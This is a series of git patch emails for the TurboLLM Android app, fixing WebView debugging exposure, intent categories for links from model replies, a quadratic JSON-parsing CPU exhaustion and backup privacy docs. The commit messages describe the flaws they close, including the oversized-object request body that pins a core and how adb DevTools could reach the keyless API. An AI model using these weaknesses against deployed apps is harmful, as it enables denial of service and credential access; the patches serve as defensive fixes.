insertions(+), 2 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index a14141a..7d15550 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -144,7 +144,9 @@ line per engine to `files/daemon.log`. Only that launch registers them: later bo whose path or version changed and nothing for the others, and `daemon.log` is truncated each time Node starts. So on a phone that already had the app, an empty grep does not mean the engines are missing. To query the API itself, create a key in the app (Customize → Connect → -API keys) and send it as `X-TurboLLM-Auth: `. +API keys) and send it as `X-TurboLLM-Auth: `. Only a debug build lets an adb host skip the +key: its WebView accepts Chrome DevTools over adb, and script run there acts as the app. Release +builds turn WebView debugging off. --- diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index f8f68a1..c69ac58 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -4,6 +4,7 @@ import android.annotation.SuppressLint import android.app.Activity import android.content.ActivityNotFoundException import android.content.Intent +import android.content.pm.ApplicationInfo import android.net.Uri import android.os.Build import android.webkit.CookieManager @@ -313,7 +314,14 @@ private fun TurboLLMWebView() { // (adjustResize no longer resizes an edge-to-edge window), so the web UI needs no insets of its own. modifier = Modifier.fillMaxSize().windowInsetsPadding(WindowInsets.safeDrawing), factory = { context -> - WebView.setWebContentsDebuggingEnabled(true) + // Debuggable builds only. DevTools attached over adb runs script in the daemon's origin, where every + // request carries the HttpOnly app-secret cookie, and can read that cookie too: the whole keyless API, + // creating an API key included, which a release build must not give an adb host (BUILDING-ENGINES.md). + // Other apps were never let in (the devtools socket admits only the shell, root and this app). QA over + // CDP (QA_BUGS.md) uses a debug build; -PturbollmApplicationIdSuffix installs one next to the Play app. + WebView.setWebContentsDebuggingEnabled( + (context.applicationInfo.flags and ApplicationInfo.FLAG_DEBUGGABLE) != 0, + ) // QA_BUGS.md BUG-13: by default the Android System WebView renders as a single // opaque NAF="true" node in the accessibility tree — invisible to TalkBack and // to UI-Automator/Maestro element selectors. Chrome's accessibility bridge for From 490a49caf69d25febdf890951ffb9ae022e42910 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 17 Oct 2026 09:59:10 +0000 Subject: [PATCH 26/80] fix(android): links to other apps carry CATEGORY_BROWSABLE shouldOverrideUrlLoading handed links off the daemon (http and https, main frame) and contact links (mailto, xmpp, irc, ircs, tel) to other apps as a bare ACTION_VIEW intent. An intent matches only the filters that list every category it carries, and startActivity applies only CATEGORY_DEFAULT to an implicit intent. So the bare intent could start any exported activity whose VIEW filter for the link declares CATEGORY_DEFAULT, including ones that do not declare CATEGORY_BROWSABLE: activities their apps open to other apps' code, not to links on web pages. Android documents the category for exactly this case: the intent for a link tapped in a web page or an e-mail carries it, so that only activities that support it are considered, and browsers add it. Here the links come from model replies and model cards, so a link in either could reach such an activity with one tap. The comment above the contact-link hand-off also said that another app's deep link does nothing, while an https link that an app has claimed (an App Link) opens that app, as it does from a browser. Older bug for the web links: origin/main sends them the same way. The contact-link hand-off and that comment came from 3f736e1 (fix(android): mailto, xmpp and irc links no longer replace the UI) in this PR. DaemonWebView.kt: new linkIntent() builds the ACTION_VIEW intent with CATEGORY_BROWSABLE, and both hand-offs use it. The comments now say where a link goes: the browser, or an app that has claimed its address, as from a browser, but never an activity that does not take links from web pages; a deep link in another app's own scheme still does nothing. Behaviour change: a link opens only in an activity that accepts links from web pages, as from Chrome. An app whose handler for the link's scheme does not declare CATEGORY_BROWSABLE no longer gets it; if no other app handles it, the tap does nothing, as with no handler installed. https links an app has claimed still open that app. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM: shouldOverrideUrlLoading, linkIntent and the file's top-level URL and scheme constants, taken unchanged from DaemonWebView.kt and compiled with kotlinc 2.2.20 against stubs for Uri, Intent, WebView, WebResourceRequest and Context that record the categories of every intent started, run over the 22 navigations of the earlier check plus 7 more https and loopback ones. Before the fix the 9 hand-offs (the 5 contact links and 4 web links) carried no category (fail); after it each carries exactly CATEGORY_BROWSABLE, and every case still returns, opens and loads what it did before. The compiled linkIntent calls Intent.addCategory with "android.intent.category.BROWSABLE". compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/DaemonWebView.kt | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index c69ac58..e8dc1ed 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -64,6 +64,11 @@ private val WEBVIEW_SCHEMES = setOf("http", "https", "about", "data", "blob", "j * link. */ private val HANDED_OFF_SCHEMES = setOf("mailto", "xmpp", "irc", "ircs", "tel") +/** A link handed to another app goes out as a browser sends one: ACTION_VIEW with CATEGORY_BROWSABLE, so only an + * activity that declares it, i.e. accepts links from web pages, can be started. A bare ACTION_VIEW also matched + * exported activities that never declared it: ones their apps open to other apps' code, not to any link on a page. */ +private fun linkIntent(url: Uri) = Intent(Intent.ACTION_VIEW, url).addCategory(Intent.CATEGORY_BROWSABLE) + /** Confirmed live (2026-09-03) via Chrome DevTools attached over the WebView's own devtools * socket: this WebView (Android System WebView, Chromium 145 on this emulator) resolves ANY * raw `vh`-family CSS length (`vh`/`dvh`/`svh`/`lvh`) to a literal 0px — not just on @@ -354,23 +359,27 @@ private fun TurboLLMWebView() { view.loadUrl(url.buildUpon().encodedAuthority("127.0.0.1:$ANDROID_DAEMON_PORT").build().toString()) return true } - // A link off the daemon (Hugging Face, docs, a model card) opens in the browser rather than + // A link off the daemon (Hugging Face, docs, a model card) opens outside the app rather than // replacing the app's UI inside its own WebView, where Back would be the only way out. So does - // localhost on any port but the daemon's: that is some other app's server, not ours. + // localhost on any port but the daemon's: that is some other app's server, not ours. It goes + // where a browser would send it (linkIntent): the browser, or an app that has claimed that web + // address (an App Link), but never an activity that does not take links from web pages. val external = (url.scheme == "http" || url.scheme == "https") && url.host != "127.0.0.1" && !(url.host == "localhost" && url.port == ANDROID_DAEMON_PORT) if (request.isForMainFrame && external) { - runCatching { view.context.startActivity(Intent(Intent.ACTION_VIEW, url)) } + runCatching { view.context.startActivity(linkIntent(url)) } return true } // A scheme the WebView cannot load: navigated to, it replaced the app's UI with an // ERR_UNKNOWN_URL_SCHEME page, and Back then reloaded the UI from scratch, losing its state. A - // contact link (mailto: and the like) opens in the app that handles it, main frame only, like - // the links above. Anything else (intent:, market:, file:, another app's deep link) does - // nothing, since what the page shows (a reply, a model card) is not to be trusted to open apps. + // contact link (mailto: and the like) opens in the app that handles it, sent the same way and + // main frame only, like the links above. Anything else (intent:, market:, file:, a deep link in + // another app's own scheme) does nothing, since what the page shows (a reply, a model card) is + // not to be trusted to open apps. An https deep link is a web link like any other: it still + // opens the app that claimed its address, as it would from a browser. if (url.scheme !in WEBVIEW_SCHEMES) { if (request.isForMainFrame && url.scheme in HANDED_OFF_SCHEMES) { - runCatching { view.context.startActivity(Intent(Intent.ACTION_VIEW, url)) } + runCatching { view.context.startActivity(linkIntent(url)) } } return true } From 4327a31e7437984b24d9e6269a4cb93476b3b2c4 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 17 Oct 2026 10:02:32 +0000 Subject: [PATCH 27/80] fix(android): https links to the daemon's port load over http in app A link to https://127.0.0.1:7000/... or https://localhost:7000/... (a reply or a docs snippet that writes the daemon's address with https) was loaded by the WebView as is. shouldOverrideUrlLoading rewrote only http://localhost:7000 and kept 127.0.0.1 and localhost on the daemon's port in the app, so the main frame went to an https URL on a port that speaks plain http. The TLS handshake fails there, and the WebView replaced the app's UI with its error page for the failed load (net::ERR_SSL_PROTOCOL_ERROR). Back was the only way out, and it reloaded the UI. Older bug, not from this PR: origin/main left every localhost and 127.0.0.1 link to the WebView whatever its scheme, and commit 9 (3f0ed38, fix(android): load localhost:7000 links from 127.0.0.1 with the cookie) rewrote only the http form. DaemonWebView.kt, shouldOverrideUrlLoading: a main-frame https link to the daemon's port on 127.0.0.1 or localhost is loaded as http://127.0.0.1:7000 with the same path, query and fragment, the way commit 9 loads http://localhost:7000 (which now also sets the scheme, a no-op for it). Sub-frame navigations are unchanged: a failed load there stays inside that frame. Behaviour change: an https link to the daemon's own port opens that page in the app instead of an error page. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the previous commit's harness (shouldOverrideUrlLoading, linkIntent and the top-level constants, taken unchanged from DaemonWebView.kt and compiled with kotlinc 2.2.20 against stubs), now 32 navigations. Before the fix the 3 main-frame https links to the daemon's port (https://127.0.0.1:7000/chat?x=1#y, https://localhost:7000/models, https://localhost:7000) returned false, so the WebView loaded them (fail); after it each returns true and loads http://127.0.0.1:7000 with the same path, query and fragment. The other 29 behave as before, among them https on 127.0.0.1 with no port or another port (dropped), https://localhost and localhost:8443 (opened outside the app), http://127.0.0.1:7000 (loaded) and sub-frame https links to the daemon's port (left to the WebView). That such a load fails was checked with curl against a plain-http server on loopback: the TLS handshake fails ("wrong version number"). compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/DaemonWebView.kt | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index e8dc1ed..6eb8926 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -352,11 +352,17 @@ private fun TurboLLMWebView() { } // The daemon under the name localhost (a link in a reply or a docs snippet): opened as is, it is a // host the app-secret cookie (scoped to 127.0.0.1) never reaches, so the page asked for an API key. - // Load the same page from 127.0.0.1 instead; it stays in the app, like any other daemon link. - if (request.isForMainFrame && url.scheme == "http" && url.host == "localhost" && + // Load the same page from 127.0.0.1 instead; it stays in the app, like any other daemon link. An + // https link to the daemon's port, under either name, is loaded the same way, over http: the + // daemon speaks plain http, so loading it as is put a TLS error page (ERR_SSL_PROTOCOL_ERROR) + // over the UI. + val onDaemonPort = (url.host == "localhost" || url.host == "127.0.0.1") && url.port == ANDROID_DAEMON_PORT + if (request.isForMainFrame && onDaemonPort && + (url.scheme == "https" || (url.scheme == "http" && url.host == "localhost")) ) { - view.loadUrl(url.buildUpon().encodedAuthority("127.0.0.1:$ANDROID_DAEMON_PORT").build().toString()) + val http = url.buildUpon().scheme("http").encodedAuthority("127.0.0.1:$ANDROID_DAEMON_PORT") + view.loadUrl(http.build().toString()) return true } // A link off the daemon (Hugging Face, docs, a model card) opens outside the app rather than From c43cce00f261dd1e48fd444ec0824dd45868c792 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 17 Oct 2026 10:03:47 +0000 Subject: [PATCH 28/80] docs: privacy notes list the WebView data and prefs that are backed up play-store-assets/privacy-notes.md said the backup rules keep models, caches, logs and the extracted daemon out, and that backups carry "the rest of the app's private files", naming only the chat history and config.json. The rules exclude only paths under files/, and Auto Backup takes everything else by default: shared_prefs/, the app's other private directories (Context.getDir), among them the WebView's app_webview/, and the app's external files folder (getExternalFilesDir). app_webview/ holds the WebView's cookie store and the web UI's localStorage, where an API key pasted into the key prompt is kept in plaintext (tllm.authToken) next to the personalization names and custom instructions. Someone filling in the Data safety form from the notes would leave all of it out. Gap in commit 15 (a01449e, fix(android): document that backups carry plaintext third-party tokens) in this PR. privacy-notes.md: the Backups item says the excludes are all under files/ and lists what is carried, by directory: files/ (chats and the rest of the daemon's state, config.json included), app_webview/ (the WebView's data, among it the cookie store and localStorage, with what the web UI keeps there), shared_prefs/ (the storage prompt's answer, next to any preferences the WebView keeps there) and Android/data//files/ (app-specific external storage, the external domain: empty unless the user adds a model folder inside it; a device transfer then copies its models, while for cloud backup they go over the 25 MB quota and Android skips the whole cloud backup, chats included), and says that cache/, code_cache/ and no_backup/ never are. The note on hashed API keys says where a pasted one sits, and the options add what excluding app_webview/ would cost. Docs only; what is backed up does not change. Checked against both rule files (file-domain excludes only, no includes, so every other domain is kept whole) and the code that uses these places: StorageAccess.kt (the app's one SharedPreferences file, and its only use of getExternalFilesDir, which recognises a model folder there), the daemon's download folder (downloads.ts: the primary model folder, else the first one) and the web UI's localStorage keys (web/src/lib/api.ts, personas.ts, usePinnedModels.ts and stores/ui.ts in TurboLLM#287). --- play-store-assets/privacy-notes.md | 46 +++++++++++++++++++++++------- 1 file changed, 35 insertions(+), 11 deletions(-) diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index dd46f99..8f04b69 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -74,18 +74,42 @@ Android's app-private storage — not shared storage, not readable by other apps **Backups — one open decision for the dev team before shipping:** `AndroidManifest.xml` has `android:allowBackup="true"` with backup rules -(`res/xml/data_extraction_rules.xml` for Android 12+, `res/xml/backup_rules.xml` before). They keep -models, caches, logs and the extracted daemon out, so Android's own Auto Backup (to the user's -Google account, not to any TurboLLM server; end-to-end encrypted with the lock-screen credential -on Android 9+ when the phone has one) and device-to-device transfer carry the rest of the app's private files: -the chat history and the daemon's settings file, `files/.turbollm/config.json`. That file also -holds, in plaintext, every third-party credential the user has entered: the Hugging Face and -GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi search keys, -MCP server keys and env, and the raw Turbo Link peer tokens that grant access to the user's -other TurboLLM machines. (API keys the daemon issues are stored hashed.) None of these are needed -to restore chats. Either disclose it plainly, or keep the credentials out of backups: moving them +(`res/xml/data_extraction_rules.xml` for Android 12+, `res/xml/backup_rules.xml` before). They only +exclude models, caches, logs and the extracted daemon under `files/`; everything else Auto Backup +takes by default stays in. So Android's own Auto Backup (to the user's Google account, not to any +TurboLLM server; end-to-end encrypted with the lock-screen credential on Android 9+ when the phone +has one) and device-to-device transfer carry the rest of the app's own files: + +- `files/`: the chat history and the rest of the daemon's state, including its settings file, + `files/.turbollm/config.json`. +- `app_webview/`: the WebView's own data. Among it are its cookie store (the only cookie the app + sets is the per-launch app secret, which no longer works after a restart) and the web UI's + localStorage: UI settings such as the theme and pinned models, the assistant and user names + and custom instructions set under personalization, each conversation's agent, reasoning effort + and thinking budget (by conversation id), the id of the chat last open, the draft last typed + into the text classification playground, and any API key pasted into the web UI's key prompt, + in plaintext (`tllm.authToken`). The rest is the WebView's other site storage and caches. +- `shared_prefs/`: the app's own preferences (whether the model-folder storage prompt was + answered), next to any preference files the WebView keeps there for itself (no user data: the + app grants pages no permissions). +- The app's external files folder, `Android/data/com.turbollm/files/` (app-specific external + storage, the "external" domain): the app writes nothing there itself, but a model folder the + user adds inside it holds multi-GB models (put there by the user, or downloaded into it). The + rules exclude paths only in the private `files/`, so a device transfer copies such a folder with + its models, while for cloud backup they go over Android's 25 MB backup quota and Android skips + the whole cloud backup, chats and `config.json` included. + +Android itself never backs up `cache/`, `code_cache/` or `no_backup/`. + +`config.json` also holds, in plaintext, every third-party credential the user has entered: the +Hugging Face and GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi +search keys, MCP server keys and env, and the raw Turbo Link peer tokens that grant access to the +user's other TurboLLM machines. (API keys the daemon issues are stored hashed there; one pasted +into the web UI's key prompt is in the localStorage above.) None of these are needed to restore +chats. Either disclose it plainly, or keep the credentials out of backups: moving them to a separate file the rules exclude takes a daemon change and a config migration; excluding -`config.json` itself would also drop every setting on restore. +`config.json` itself would also drop every setting on restore, and excluding `app_webview/` +would drop the web UI's own settings along with a pasted key. ## Suggested Play Console "Data safety" form answers From 1a881f2eba31c72d131f741f4d5b0df604de7ec4 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 17 Oct 2026 09:19:09 +0000 Subject: [PATCH 29/80] fix(litert-lm-server): streamed parallel tool calls get their own index The runtime sends each tool-call block as its own chunk once the block closes, and a Qwen-family model writes one block per call, so parallel calls reach the server in separate chunks. The streaming path numbered the calls of each chunk from 0: every call went out as index 0 with the same id, call_ diff --git a/composeApp/src/androidMain/res/xml/data_extraction_rules.xml b/composeApp/src/androidMain/res/xml/data_extraction_rules.xml index dfcde25..863d428 100644 --- a/composeApp/src/androidMain/res/xml/data_extraction_rules.xml +++ b/composeApp/src/androidMain/res/xml/data_extraction_rules.xml @@ -20,6 +20,10 @@ + + @@ -35,5 +39,8 @@ + + diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 8f04b69..fb6fd0d 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -75,10 +75,11 @@ Android's app-private storage — not shared storage, not readable by other apps **Backups — one open decision for the dev team before shipping:** `AndroidManifest.xml` has `android:allowBackup="true"` with backup rules (`res/xml/data_extraction_rules.xml` for Android 12+, `res/xml/backup_rules.xml` before). They only -exclude models, caches, logs and the extracted daemon under `files/`; everything else Auto Backup -takes by default stays in. So Android's own Auto Backup (to the user's Google account, not to any -TurboLLM server; end-to-end encrypted with the lock-screen credential on Android 9+ when the phone -has one) and device-to-device transfer carry the rest of the app's own files: +exclude models, caches, logs and the extracted daemon under `files/`, and the app's external files +folder as a whole (below); everything else Auto Backup takes by default stays in. So Android's own +Auto Backup (to the user's Google account, not to any TurboLLM server; end-to-end encrypted with +the lock-screen credential on Android 9+ when the phone has one) and device-to-device transfer +carry the rest of the app's own files: - `files/`: the chat history and the rest of the daemon's state, including its settings file, `files/.turbollm/config.json`. @@ -92,14 +93,14 @@ has one) and device-to-device transfer carry the rest of the app's own files: - `shared_prefs/`: the app's own preferences (whether the model-folder storage prompt was answered), next to any preference files the WebView keeps there for itself (no user data: the app grants pages no permissions). -- The app's external files folder, `Android/data/com.turbollm/files/` (app-specific external - storage, the "external" domain): the app writes nothing there itself, but a model folder the - user adds inside it holds multi-GB models (put there by the user, or downloaded into it). The - rules exclude paths only in the private `files/`, so a device transfer copies such a folder with - its models, while for cloud backup they go over Android's 25 MB backup quota and Android skips - the whole cloud backup, chats and `config.json` included. - -Android itself never backs up `cache/`, `code_cache/` or `no_backup/`. + +The app's external files folder, `Android/data/com.turbollm/files/` (app-specific external +storage, the "external" domain), is left out of both the backup and the transfer: the app writes +nothing there itself, but a model folder the user adds inside it holds multi-GB models (put there +by the user, or downloaded into it). In a cloud backup they would go over Android's 25 MB quota, +and Android would then skip the whole cloud backup, chats and `config.json` included. Like the +other excluded models, they can be copied or downloaded again. Android itself never backs up +`cache/`, `code_cache/` or `no_backup/`. `config.json` also holds, in plaintext, every third-party credential the user has entered: the Hugging Face and GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi From d3676dc4198341078f4e2bdc5d62fc6f794dfa55 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 17 Oct 2026 23:32:15 +0000 Subject: [PATCH 35/80] fix(litert-lm-server): parsing many objects in a body is linear again ParseBounded parsed with a json::parse callback. nlohmann's callback parser (json_sax_dom_callback_parser, 3.11.3) scans every element of the enclosing array or object, each time an object closes, for a value the callback discarded; ours discards none, so each scan runs to the end and a body holding N objects in one array or object takes O(N^2). A normal chat request with an extra field of 50,000 empty objects ("x":{"k0":{},...}, 575 KB) kept a core busy for 16 s, 100,000 objects in an array 3.8 s. The parse runs on the connection thread before g_engine_mu and before the disconnect watch, so nothing stops it: a client that sent such a body and hung up after 1 s still cost 5.8 s of CPU in the next 6 s. The daemon re-serializes the client's body with its unknown fields, so any client of its /v1 chat API could send one, as could any app on the phone; a few in parallel take the cores inference uses. Plain json::parse, used before, is linear. Gap in this PR: fix(litert-lm-server): deeply nested JSON no longer kills the engine (9c85d5b) introduced the callback parse. main.cc: ParseBounded now runs json::sax_parse with BoundedDomParser, nlohmann's own DOM builder (json_sax_dom_parser, the one json::parse uses) with start_object/start_array counting the open arrays and objects and throwing JsonTooDeep past 128, and end_object/end_array counting down. The limit, the 400 "Invalid JSON: nested deeper than 128 levels" for a body, {} for tool-call arguments nested too deeply, and the json::parse_error a syntax error throws are unchanged. Tests: none added; the repo has no test harness for this native server. Checked with a scratch program built at -O2 that includes main.cc and calls the real ParseBounded and ParseToolArguments: 100,000 objects in an array takes 19.4 s before the fix (1.9 s built with the release flags) and 0.008 s after, 50,000 objects in an object 19.3 s (about 18 s with the release flags) and 0.019 s, so its "under 0.5 s" checks fail without the fix; after it 1,000,000 objects in an array (2.9 MB) take 0.11 s and in an object (12.6 MB) 0.42 s, as long as json::parse. Both before and after, every value it parses (all value types, duplicate keys, \u escapes, 128 levels) equals json::parse's, 129 and up to 1,000,000 levels of arrays, objects or both throw JsonTooDeep, siblings 128 deep do not add up, empty, truncated, trailing-garbage and two-value input throw json::parse_error, and tool arguments nested 129 levels become {} while 128 levels arrive whole. Over the stub liblitert-lm.so, release build, a chat body with an extra field: 10,000, 50,000 and 100,000 objects in an array took 0.04, 0.92 and 3.76 s before and 0.01, 0.01 and 0.02 s after; 10,000, 30,000 and 50,000 objects in an object 0.38, 5.76 and 15.71 s before and 0.01, 0.02 and 0.03 s after (100,000: 0.06 s; 1,000,000 in an array 0.17 s, in an object 0.72 s). The client that hung up after 1 s cost 5.79 s of CPU before the fix and 0.00 s after. Unchanged before and after: 128 levels served, 129, 100,000 and 1,000,000 levels (arrays or objects) refused with the 400, malformed bodies 400 "Invalid JSON", and with 1 MB thread stacks a 10,000-level message field gets the 400 and a 10,000-level arguments string 200, with the server still serving. The earlier native checks (smoke, error chunk, stalled and slow readers, context window, lost cancel) pass. No existing test changed. The release build has 0 warnings. --- engines/litert-lm-server/src/main.cc | 40 +++++++++++++++++++++++----- 1 file changed, 33 insertions(+), 7 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 29b67f7..30a4e94 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -432,14 +432,40 @@ struct JsonTooDeep : std::runtime_error { JsonTooDeep() : std::runtime_error("nested deeper than " + std::to_string(kMaxJsonDepth) + " levels") {} }; -// json::parse, throwing JsonTooDeep at an array or object that kMaxJsonDepth others enclose. The callback's depth is -// the number of enclosing arrays and objects. +// The DOM builder json::parse itself uses, counting the arrays and objects open: it throws JsonTooDeep at one that +// kMaxJsonDepth others enclose. Not json::parse with a parser callback, which would be simpler: that parser's +// end_object scans the whole enclosing array or object for a value the callback discarded, each time an object closes, +// so a body holding N objects in one array or object took O(N^2). A normal chat request with an extra field of 50,000 +// empty objects (575 KB) kept a core busy for 16 s, on the connection thread and before any lock, and nothing stops +// that once the client has gone. This builder's start and end are what json::parse does, so it stays linear. +struct BoundedDomParser : nlohmann::detail::json_sax_dom_parser { + using json_sax_dom_parser::json_sax_dom_parser; + int depth = 0; + bool start_object(std::size_t n) { + if (++depth > kMaxJsonDepth) throw JsonTooDeep(); + return json_sax_dom_parser::start_object(n); + } + bool end_object() { + --depth; + return json_sax_dom_parser::end_object(); + } + bool start_array(std::size_t n) { + if (++depth > kMaxJsonDepth) throw JsonTooDeep(); + return json_sax_dom_parser::start_array(n); + } + bool end_array() { + --depth; + return json_sax_dom_parser::end_array(); + } +}; + +// json::parse, throwing JsonTooDeep at an array or object that kMaxJsonDepth others enclose. A syntax error throws +// json::parse_error, as with json::parse (the builder is made with allow_exceptions). json ParseBounded(const std::string& s) { - return json::parse(s, [](int depth, json::parse_event_t event, json&) { - bool opens = event == json::parse_event_t::object_start || event == json::parse_event_t::array_start; - if (opens && depth >= kMaxJsonDepth) throw JsonTooDeep(); - return true; - }); + json result; + BoundedDomParser builder(result, true); + json::sax_parse(s, &builder); + return result; } json ParseToolArguments(const json& args) { From c84446e886bbfda6a54275c4dc32d999bc83ea1c Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:53:20 +0000 Subject: [PATCH 36/80] fix(android): FGS declaration says why downloads keep specialUse PLAY-FGS-DECLARATION.md tells Play that EngineService also keeps an in-app model download or a model import going, and two paragraphs later answered "Why does no other foreground service type fit?" with "It is not data sync". Android lists upload or download and import or export under dataSync, so a Play reviewer reading the two answers side by side gets a declaration that contradicts itself. The manifest's PROPERTY_SPECIAL_USE_FGS_SUBTYPE, which Play reviews with it, still named only the loaded model and generations. Older bug in part: origin/main's declaration already said the service keeps a model import going, which is a dataSync use, next to "It is not data sync". Gap in this PR for the rest: fix(android): Play FGS declaration covers downloads and swipe re-post (86724c2) added the downloads to the declaration, which widened the contradiction, and left the "not data sync" answer and the manifest text as they were; fix (android): count downloads as busy; re-post a swiped notification (758b58e) is where the service took on downloads. - PLAY-FGS-DECLARATION.md, "Why specialUse": says that the imports and downloads are dataSync work taken alone, why they do not set the type (the service starts when the app is opened, so it is already up for the inference server by the time the user starts an import or a download, and they only bring in the models that server loads), that a dataSync service is limited to 6 hours in 24 in the background for an app targeting Android 15+, which this one does, and, for the owner, that Play allows more than one type per service but adding dataSync is a code change this page does not make. - The pasted answer to "Why does no other foreground service type fit?" no longer says the work is not data sync. It says the transfers are data transfers that do not explain why the service runs, and that dataSync fits them alone and is capped at 6 hours in 24 on Android 15. - AndroidManifest.xml: the special-use subtype now ends "along with the model imports and downloads the user started for it". The foreground service type does not change. Tests: none; text for Play and a manifest property value. Checked against EngineService.kt (the service starts from MainActivity.onCreate, downloads and imports count as busy), targetSdk 36 in composeApp/build.gradle.kts, and Android's foreground service type and timeout pages (dataSync's listed uses; dataSync and mediaProcessing limited to 6 hours in 24 for apps targeting Android 15) and Play's foreground service policy (several types per service allowed). The manifest parses, and processDebugMainManifest passes. --- PLAY-FGS-DECLARATION.md | 22 +++++++++++++++---- .../src/androidMain/AndroidManifest.xml | 2 +- 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index 53eac38..e030dc6 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -19,6 +19,17 @@ No standard type describes this work: - `shortService` is limited to about 3 minutes. - A WorkManager long-running worker still runs as a typed foreground service. +The same service also keeps a model import or an in-app model download going until it is done. +Taken alone, those transfers are `dataSync` work: Android's list for that type includes upload or +download and import or export. They are not why the service runs, though. It starts when the app +is opened, not for them, so it is already up for the inference server by the time the user starts +an import or a download from the app's own screens, and they only bring in the models that server +loads. Declaring the service `dataSync` instead would limit the inference server to 6 hours in 24 +while the app is in the background (this app targets Android 15+). The declaration below says so +to Play. If Play asks for the transfers to be declared on their own: it allows more than one type +per service, but adding `dataSync` is a code change (`EngineService`'s `startForeground` type and +the manifest) that this page does not make. + The manifest's `PROPERTY_SPECIAL_USE_FGS_SUBTYPE` already states the use. The text below expands it for the form. @@ -57,10 +68,13 @@ during generation. **Why does no other foreground service type fit?** -> The work is a local, user-started AI inference server. It is not data sync, media playback or processing, -> location, a phone call, health or connected-device work, and it lasts as long as the user keeps the app in use, -> longer than shortService allows. The other candidate types are capped at 6 hours on Android 15 and describe -> different work. +> The work is a local, user-started AI inference server, kept running for as long as the user keeps the app in use. +> It is not media playback or processing, location, a phone call, health or connected-device work, and it lasts +> longer than shortService allows. The model imports and downloads the service also keeps going are data transfers, +> but they are not why it runs: it starts when the app is opened, not for them, they run inside it while it is +> already up for the inference server, and they only bring in the models that server loads. dataSync fits those +> transfers alone, and like mediaProcessing it is capped at 6 hours in 24 on Android 15, while the inference server +> runs for as long as the app is in use. ## Video script (about 45 seconds, screen recording on a phone) diff --git a/composeApp/src/androidMain/AndroidManifest.xml b/composeApp/src/androidMain/AndroidManifest.xml index c30a407..e1ea53d 100644 --- a/composeApp/src/androidMain/AndroidManifest.xml +++ b/composeApp/src/androidMain/AndroidManifest.xml @@ -51,7 +51,7 @@ android:foregroundServiceType="specialUse"> + android:value="On-device LLM inference server: keeps a loaded model and in-progress generations alive while the user is in another app, along with the model imports and downloads the user started for it" /> From eafb5d976755cd7fba918c26e1f4ef1301315928 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:54:30 +0000 Subject: [PATCH 37/80] docs: a restore at install also leaves out the engine log line BUILDING-ENGINES.md's release check uninstalls the app, confirms the package is gone, installs the APK and greps files/daemon.log for "registered bundled engine", which seed.ts logs only when it first registers an engine. Android restores an app's Auto Backup whenever it is installed, adb install included, if the backup was made by an APK signed with the same key; for the debug APK the check installs, that is a backup from the maintainer's own earlier debug builds. On such a phone the restored .turbollm/config.json already lists the engines, at the old install's library path, so that launch logs "refreshed bundled engine" or "repaired stale engine path" for an engine whose path or version changed and nothing for the others, and the grep finds nothing although the engines are there. A maintainer running the check on their own phone could take that for missing engines. Gap in this PR: fix(android): say the engine log line comes only on a clean first launch (5ddf02f) covered a phone that already had the app and said the uninstall makes the grep always run on a first registration, which a restore undoes; fix(android): release check no longer ends on a 401 from /api/v1/engines (0af73e3) added the grep. BUILDING-ENGINES.md: the paragraph after the procedure says so, names the same-key condition, and says how to keep the check a first registration (note what adb shell settings get secure backup_auto_restore prints, run adb shell bmgr autorestore false before adb install, and set it back with adb shell bmgr autorestore true afterwards only if it was on, since that is the user's Automatic restore setting) or read the 